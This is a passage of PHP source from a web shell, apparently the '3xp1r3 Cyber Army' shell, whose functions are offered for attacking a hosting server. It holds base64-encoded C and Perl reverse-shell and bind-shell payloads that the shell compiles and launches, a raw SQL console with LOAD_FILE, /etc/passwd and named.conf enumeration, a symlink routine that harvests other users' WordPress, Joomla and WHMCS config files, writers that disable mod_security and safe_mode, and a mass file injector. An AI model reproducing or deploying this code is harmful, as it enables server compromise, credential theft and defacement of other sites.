1227 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2'] . '');
1228 $num = $db->fetch();
1229 $num = $num['n'];
1230 echo "<span>" . $_POST['p2'] . "</span> ($num) ";
1231 for ($i = 0;$i < ($num / 30);$i++) if ($i != (int)$_POST['p3']) echo "<a href='#' onclick='st(\"" . $_POST['p2'] . "\", $i)'>", ($i + 1), "</a> ";
1232 else echo ($i + 1), " ";
1233 if ($_POST['type'] == 'pgsql') $_POST['p3'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1234 else $_POST['p3'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1235 echo "<br><br>";
1236 }
1237 if ((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1238 $db->query(@$_POST['p3']);
1239 if ($db->res !== false) {
1240 $title = false;
1241 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1242 $line = 1;
1243 while ($item = $db->fetch()) {
1244 if (!$title) {
1245 echo '<tr>';
1246 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1247 reset($item);
1248 $title = true;
1249 echo '</tr><tr>';
1250 $line = 2;
1251 }
1252 echo '<tr class="l' . $line . '">';
1253 $line = $line == 1 ? 2 : 1;
1254 foreach ($item as $key => $value) {
1255 if ($value == null) echo '<td><i>null</i></td>';
1256 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1257 }
1258 echo '</tr>';
1259 }
1260 echo '</table>';
1261 } else {
1262 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1263 }
1264 }
1265 echo "<br><textarea name='p3' style='width:100%;height:100px'>" . @htmlspecialchars($_POST['p3']) . "</textarea><br/><input type=submit value='Execute'>";
1266 echo "</td></tr>";
1267 }
1268 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1269 if (@$_POST['p1'] == 'loadfile') {
1270 $db->query("SELECT LOAD_FILE('" . addslashes($_POST['p2']) . "') as file");
1271 $file = $db->fetch();
1272 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1273 }
1274 }
1275 echo '</div>';
1276 printFooter();
1277 }
1278 function actionNetwork() {
1279 printHeader();
1280 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1281 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1282 $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1283 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1284 echo '<h1>Network tools</h1><div class=content>
1285 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1286 <br /><span>Bind port to /bin/sh</span><br/>
1287 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'3xp1r3\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1288 </form>
1289 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1290 <br /><br /><span>Back-connect to</span><br/>
1291 Server: <input type=\'text\' name=\'server\' value="' . $_SERVER['REMOTE_ADDR'] . '"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1292 </form><br>';
1293 if (isset($_POST['p1'])) {
1294 function cf($f, $t) {
1295 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1296 if ($w) {
1297 @fwrite($w, base64_decode($t)) or @fputs($w, base64_decode($t)) or @file_put_contents($f, base64_decode($t));
1298 @fclose($w);
1299 }
1300 }
1301 if ($_POST['p1'] == 'bpc') {
1302 cf("/tmp/bp.c", $bind_port_c);
1303 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1304 @unlink("/tmp/bp.c");
1305 $out.= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
1306 echo "<pre class=ml1>$out
1307" . ex("ps aux | grep bp") . "</pre>";
1308 }
1309 if ($_POST['p1'] == 'bpp') {
1310 cf("/tmp/bp.pl", $bind_port_p);
1311 $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
1312 echo "<pre class=ml1>$out
1313" . ex("ps aux | grep bp.pl") . "</pre>";
1314 }
1315 if ($_POST['p1'] == 'bcc') {
1316 cf("/tmp/bc.c", $back_connect_c);
1317 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1318 @unlink("/tmp/bc.c");
1319 $out.= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
1320 echo "<pre class=ml1>$out
1321" . ex("ps aux | grep bc") . "</pre>";
1322 }
1323 if ($_POST['p1'] == 'bcp') {
1324 cf("/tmp/bc.pl", $back_connect_p);
1325 $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
1326 echo "<pre class=ml1>$out
1327" . ex("ps aux | grep bc.pl") . "</pre>";
1328 }
1329 }
1330 echo '</div>';
1331 printFooter();
1332 }
1333 function actionPortScanner() {
1334 printHeader();
1335 echo '<h1>Port Scanner</h1>';
1336 echo '<div class="content">';
1337 echo '<form action="" method="post">';
1338 if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
1339 $start = strip_tags($_POST['start']);
1340 $end = strip_tags($_POST['end']);
1341 $host = strip_tags($_POST['host']);
1342 for ($i = $start;$i <= $end;$i++) {
1343 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1344 if ($fp) {
1345 echo 'Port ' . $i . ' is <font color=green>open</font><br>';
1346 }
1347 flush();
1348 }
1349 } else {
1350 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1351 <input type="hidden" name="c" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
1352 <input type="hidden" name="charset" value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
1353 Host: <input type="text" name="host" value="localhost"/><br /><br />
1354 Port start: <input type="text" name="start" value="0"/><br /><br />
1355 Port end:<input type="text" name="end" value="5000"/><br /><br />
1356 <input type="submit" value="Scan Ports" />
1357 </form></center><br /><br />';
1358 }
1359 echo '</div>';
1360 printFooter();
1361 }
1362 function actionReadable() {
1363 printHeader();
1364 echo '<h1>Readable Dirs</h1>';
1365 echo '<div class="content">';
1366 $sm = ini_get('safe_mode');
1367 if ($sm) {
1368 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1369 } else {
1370 @$passwd = file('/etc/passwd', 'r');
1371 if (!$passwd) {
1372 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1373 } else {
1374 $pub = array();
1375 $users = array();
1376 $conf = array();
1377 $i = 0;
1378 foreach ($passwd as $p) {
1379 $r = explode(':', $p);
1380 $dirz = $r[5] . '/public_html/';
1381 if (strpos($r[5], 'home')) {
1382 array_push($users, $r[0]);
1383 if (is_readable($dirz)) {
1384 array_push($pub, $dirz);
1385 }
1386 }
1387 }
1388 echo '<br><br>';
1389 echo "[+] Founded " . sizeof($users) . " entrys in /etc/passwd
1390" . "<br />";
1391 echo "[+] Founded " . sizeof($pub) . " readable public_html directories
1392" . "<br /><br /><br />";
1393 foreach ($pub as $user) {
1394 echo $user . "<br>";
1395 }
1396 echo "<br /><br /><br />[+] Complete...
1397" . "<br />";
1398 }
1399 }
1400 echo '</div>';
1401 printFooter();
1402 }
1403 function actionSymlink() {
1404 printHeader();
1405 echo '<h1>Symlink</h1>';
1406 $furl = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
1407 $expld = explode('/', $furl);
1408 $burl = str_replace(end($expld), '', $furl);
1409 echo '<div class="content"><center>
1410 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1411 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
1412 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1413 if (isset($_POST['p1']) && $_POST['p1'] == 'website') {
1414 echo "<center>";
1415 $d0mains = @file("/etc/named.conf");
1416 if (!$d0mains) {
1417 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1418 } else {
1419 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1420 $unk = array();
1421 foreach ($d0mains as $d0main) {
1422 if (@eregi("zone", $d0main)) {
1423 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1424 flush();
1425 if (strlen(trim($domains[1][0])) > 2) {
1426 $unk[] = $domains[1][0];
1427 flush();
1428 }
1429 }
1430 }
1431 $count = 1;
1432 $unk = array_unique($unk);
1433 $l = 0;
1434 foreach ($unk as $d) {
1435 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $d));
1436 echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $count . "</td><td><a href=http://" . $d . "/>" . $d . "</a></td><td>" . $user['name'] . "</td></tr>";
1437 flush();
1438 $count++;
1439 $l = $l ? 0 : 1;
1440 }
1441 echo "</table>";
1442 }
1443 echo "</center>";
1444 }
1445 if (isset($_POST['p1']) && $_POST['p1'] == 'whole') {
1446 echo "<center>";
1447 @mkdir('3ca_sym', 0777);
1448 $hdt = "Options all
1449DirectoryIndex Sux.html
1450AddType text/plain .php
1451AddHandler server-parsed .php
1452AddType text/plain .html
1453AddHandler txt .html
1454Require None
1455Satisfy Any";
1456 $hfp = @fopen('3ca_sym/.htaccess', 'w');
1457 fwrite($hfp, $hdt);
1458 if (function_exists('symlink')) {
1459 @symlink('/', '3ca_sym/root');
1460 }
1461 $d0mains = @file('/etc/named.conf');
1462 if (!$d0mains) {
1463 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1464 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1465 $dt = file('/etc/passwd');
1466 $l = 0;
1467 foreach ($dt as $d) {
1468 $r = explode(':', $d);
1469 if (strpos($r[5], 'home')) {
1470 echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $j . "</td><td>---</td><td>" . $r[0] . "</td><td><a href='3ca_sym/root" . $r[5] . "/public_html' target='_blank'>symlink</a></td></tr>";
1471 $l = $l ? 0 : 1;
1472 $j++;
1473 }
1474 }
1475 echo '</table>';
1476 } else {
1477 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1478 $count = 1;
1479 $mck = array();
1480 foreach ($d0mains as $d0main) {
1481 if (@eregi('zone', $d0main)) {
1482 preg_match_all('#zone "(.*)"#', $d0main, $domain);
1483 flush();
1484 if (strlen(trim($domain[1][0])) > 2) {
1485 $mck[] = $domain[1][0];
1486 }
1487 }
1488 }
1489 $mck = array_unique($mck);
1490 $usr = array();
1491 $dmn = array();
1492 foreach ($mck as $o) {
1493 $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
1494 $usr[] = $infos['name'];
1495 $dmn[] = $o;
1496 }
1497 array_multisort($usr, $dmn);
1498 $dt = file('/etc/passwd');
1499 $passwd = array();
1500 foreach ($dt as $d) {
1501 $r = explode(':', $d);
1502 if (strpos($r[5], 'home')) {
1503 $passwd[$r[0]] = $r[5];
1504 }
1505 }
1506 $l = 0;
1507 $j = 1;
1508 foreach ($usr as $r) {
1509 echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $count++ . "</td>
1510 <td><a target='_blank' href=http://" . $dmn[$j - 1] . '/>' . $dmn[$j - 1] . ' </a></td>
1511 <td>' . $r . "</td>
1512 <td><a href='3ca_sym/root" . $passwd[$r] . "/public_html' target='_blank'>symlink</a></td></tr>";
1513 flush();
1514 $l = $l ? 0 : 1;
1515 $j++;
1516 }
1517 echo '</table>';
1518 }
1519 echo "</center>";
1520 }
1521 if (isset($_POST['p1']) && $_POST['p1'] == 'config') {
1522 echo "<center>";
1523 @mkdir('3ca_sym', 0777);
1524 $hdt = "Options all
1525 DirectoryIndex Sux.html
1526 AddType text/plain .php
1527 AddHandler server-parsed .php
1528 AddType text/plain .html
1529 AddHandler txt .html
1530 Require None
1531 Satisfy Any";
1532 $hfp = @fopen('3ca_sym/.htaccess', 'w');
1533 @fwrite($hfp, $hdt);
1534 if (function_exists('symlink')) {
1535 @symlink('/', '3ca_sym/root');
1536 }
1537 $d0mains = @file('/etc/named.conf');
1538 if (!$d0mains) {
1539 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1540 } else {
1541 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1542 $count = 1;
1543 $l = 0;
1544 foreach ($d0mains as $d0main) {
1545 if (@eregi('zone', $d0main)) {
1546 preg_match_all('#zone "(.*)"#', $d0main, $domain);
1547 flush();
1548 if (strlen(trim($domain[1][0])) > 2) {
1549 $user = posix_getpwuid(@fileowner('/etc/valiases/' . $domain[1][0]));
1550 $c1 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/wp-config.php';
1551 $ch01 = get_headers($c1);
1552 $cf01 = $ch01[0];
1553 $c2 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/blog/wp-config.php';
1554 $ch02 = get_headers($c2);
1555 $cf02 = $ch02[0];
1556 $c3 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/configuration.php';
1557 $ch03 = get_headers($c3);
1558 $cf03 = $ch03[0];
1559 $c4 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/joomla/configuration.php';
1560 $ch04 = get_headers($c4);
1561 $cf04 = $ch04[0];
1562 $c5 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/includes/config.php';
1563 $ch05 = get_headers($c5);
1564 $cf05 = $ch05[0];
1565 $c6 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/vb/includes/config.php';
1566 $ch06 = get_headers($c6);
1567 $cf06 = $ch06[0];
1568 $c7 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/forum/includes/config.php';
1569 $ch07 = get_headers($c7);
1570 $cf07 = $ch07[0];
1571 $c8 = $burl . '/3ca_sym/root/home/' . $user['name'] . 'public_html/clients/configuration.php';
1572 $ch08 = get_headers($c8);
1573 $cf08 = $ch08[0];
1574 $c9 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/support/configuration.php';
1575 $ch09 = get_headers($c9);
1576 $cf09 = $ch09[0];
1577 $c10 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/client/configuration.php';
1578 $ch10 = get_headers($c10);
1579 $cf10 = $ch10[0];
1580 $c11 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/submitticket.php';
1581 $ch11 = get_headers($c11);
1582 $cf11 = $ch11[0];
1583 $c12 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/client/configuration.php';
1584 $ch12 = get_headers($c12);
1585 $cf12 = $ch12[0];
1586 $c13 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/includes/configure.php';
1587 $ch13 = get_headers($c13);
1588 $cf13 = $ch13[0];
1589 $c14 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/include/app_config.php';
1590 $ch14 = get_headers($c14);
1591 $cf14 = $ch14[0];
1592 $c15 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/sites/default/settings.php';
1593 $ch15 = get_headers($c15);
1594 $cf15 = $ch15[0];
1595 $out = ' ';
1596 if (strpos($cf01, '200') == true) {
1597 $out = "<a href='" . $c1 . "' target='_blank'>Wordpress</a>";
1598 } elseif (strpos($cf02, '200') == true) {
1599 $out = "<a href='" . $c2 . "' target='_blank'>Wordpress</a>";
1600 } elseif (strpos($cf03, '200') == true && strpos($cf11, '200') == true) {
1601 $out = " <a href='" . $c11 . "' target='_blank'>WHMCS</a>";
1602 } elseif (strpos($cf09, '200') == true) {
1603 $out = " <a href='" . $c9 . "' target='_blank'>WHMCS</a>";
1604 } elseif (strpos($cf10, '200') == true) {
1605 $out = " <a href='" . $c10 . "' target='_blank'>WHMCS</a>";
1606 } elseif (strpos($cf03, '200') == true) {
1607 $out = " <a href='" . $c3 . "' target='_blank'>Joomla</a>";
1608 } elseif (strpos($cf04, '200') == true) {
1609 $out = " <a href='" . $c4 . "' target='_blank'>Joomla</a>";
1610 } elseif (strpos($cf05, '200') == true) {
1611 $out = " <a href='" . $c5 . "' target='_blank'>vBulletin</a>";
1612 } elseif (strpos($cf06, '200') == true) {
1613 $out = " <a href='" . $c6 . "' target='_blank'>vBulletin</a>";
1614 } elseif (strpos($cf07, '200') == true) {
1615 $out = " <a href='" . $c7 . "' target='_blank'>vBulletin</a>";
1616 } elseif (strpos($cf08, '200') == true) {
1617 $out = " <a href='" . $c7 . "' target='_blank'>Client Area</a>";
1618 } elseif (strpos($cf12, '200') == true) {
1619 $out = " <a href='" . $c7 . "' target='_blank'>Client Area</a>";
1620 } elseif (strpos($cf13, '200') == true) {
1621 $out = " <a href='" . $c7 . "' target='_blank'>osCommerce/Zen Cart</a>";
1622 } elseif (strpos($cf14, '200') == true) {
1623 $out = " <a href='" . $c7 . "' target='_blank'>Magento</a>";
1624 } elseif (strpos($cf15, '200') == true) {
1625 $out = " <a href='" . $c7 . "' target='_blank'>Drupal</a>";
1626 } else {
1627 continue;
1628 }
1629 echo '<tr' . ($l ? ' class=l1' : '') . '><td>' . $count++ . '</td><td><a href=http://www.' . $domain[1][0] . '/>' . $domain[1][0] . '</a></td><td>' . $user['name'] . '</td><td>' . $out . '</td></tr>';
1630 flush();
1631 $l = $l ? 0 : 1;
1632 }
1633 }
1634 }
1635 echo "</table>";
1636 }
1637 echo "</center>";
1638 }
1639 echo "</div>";
1640 printFooter();
1641 }
1642 function actionBypass() {
1643 printHeader();
1644 echo '<h1>Safe Mode</h1>';
1645 echo '<div class="content">';
1646 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| " . $GLOBALS['cwd'] . " |<br><br />";
1647 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1648 if (!empty($_POST['p2']) && isset($_POST['p2'])) {
1649 $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
1650 fwrite($fil, '<IfModule mod_security.c>
1651 Sec------Engine Off
1652 Sec------ScanPOST Off
1653 </IfModule>');
1654 fclose($fil);
1655 }
1656 if (!empty($_POST['p1']) && isset($_POST['p1'])) {
1657 $fil = fopen($GLOBALS['cwd'] . "php.ini", "w");
1658 fwrite($fil, 'safe_mode=OFF
1659 disable_functions=NONE');
1660 fclose($fil);
1661 }
1662 if (!empty($_POST['p3']) && isset($_POST['p3'])) {
1663 $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
1664 fwrite($fil, 'Options FollowSymLinks MultiViews Indexes ExecCGI
1665 AddType application/x-httpd-cgi .sh
1666 AddHandler cgi-script .pl
1667 AddHandler cgi-script .pl');
1668 fclose($fil);
1669 }
1670 echo "<br><br /><br /></div>";
1671 echo '</div>';
1672 printFooter();
1673 }
1674 function actionDdos() {
1675 printHeader();
1676 echo '<h1>DDoS</h1>';
1677 echo '<div class="content">';
1678 echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
1679 echo "<br><br /><br /></div>";
1680 echo '</div>';
1681 printFooter();
1682 }
1683 function actionMail() {
1684 printHeader();
1685 echo '<h1>Mass Mailer and Mail Bomber</h1>';
1686 echo '<div class="content">';
1687 echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
1688 echo "<br><br /><br /></div>";
1689 echo '</div>';
1690 printFooter();
1691 }
1692 function actionInjector() {
1693 printHeader();
1694 echo '<h1>Mass Code Injector</h1>';
1695 echo '<div class="content">';
1696 if (stristr(php_uname(), "Windows")) {
1697 $DS = "\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
1698 function get_structure($path,$depth) {
1699 global $DS;
1700 $res = array();
1701 if(in_array(0, $depth)) { $res[] = $path; }
1702 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
1703 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
1704 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
1705 }
1706 if(in_array(2, $depth) or in_array(3, $depth)) {
1707 $tmp2 = array();
1708 foreach($tmp1 as $t){
1709 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
1710 $tmp2 = array_merge($tmp2, $tp2);
1711 }
1712 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
1713 }
1714 if(in_array(3, $depth)) {
1715 $tmp3 = array();
1716 foreach($tmp2 as $t){
1717 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
1718 $tmp3 = array_merge($tmp3, $tp3);
1719 }
1720 $res = array_merge($res,$tmp3);
1721 }
1722 return $res;
1723 }
1724
1725 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
1726 $name = $_POST['name'] ? $_POST['name'] : '*';
1727 $type = $_POST['type'] ? $_POST['type'] : 'html';
1728 $path = $_POST['path'] ? $_POST['path'] : getcwd();
1729 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
1730 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
1731 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
1732 $dt = get_structure($path,$depth);
1733 foreach ($dt as $d) {
1734 if($mode == 'a') {
1735 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
1736 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:
1737 lime;
1738 "> was injected</span></div>';
1739 } else {
1740 echo '<div><span style="color:
1741 red;
1742 ">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1743 }
1744 } else {
1745 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
1746 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:
1747 lime;
1748 "> was injected</span></div>';
1749 } else {
1750 echo '<div><span style="color:
1751 red;
1752 ">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1753 }
1754 }
1755 }
1756 } else {
1757 echo '<form method="post" action="">
1758 <table align="center">
1759 <tr>
1760 <td>Directory : </td>
1761 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
1762 </tr>
1763 <tr>
1764 <td class="title">Mode : </td>
1765 <td>
1766 <select style="width:
1767 100px;
1768 " name="mode" class="box">
1769 <option value="a">Apender</option>
1770 <option value="w">Overwriter</option>
1771 </select>
1772 </td>
1773 </tr>
1774 <tr>
1775 <td class="title">File Name & Type : </td>
1776 <td>
1777 <input type="text" style="width:
1778 100px;
1779 " name="name" value=" * "/>
1780 <select style="width:
1781 100px;
1782 " name="type" class="box">
1783 <option value="html">HTML</option>
1784 <option value="htm">HTM</option>
1785 <option value="php" selected="selected">PHP</option>
1786 <option value="asp">ASP</option>
1787 <option value="aspx">ASPX</option>
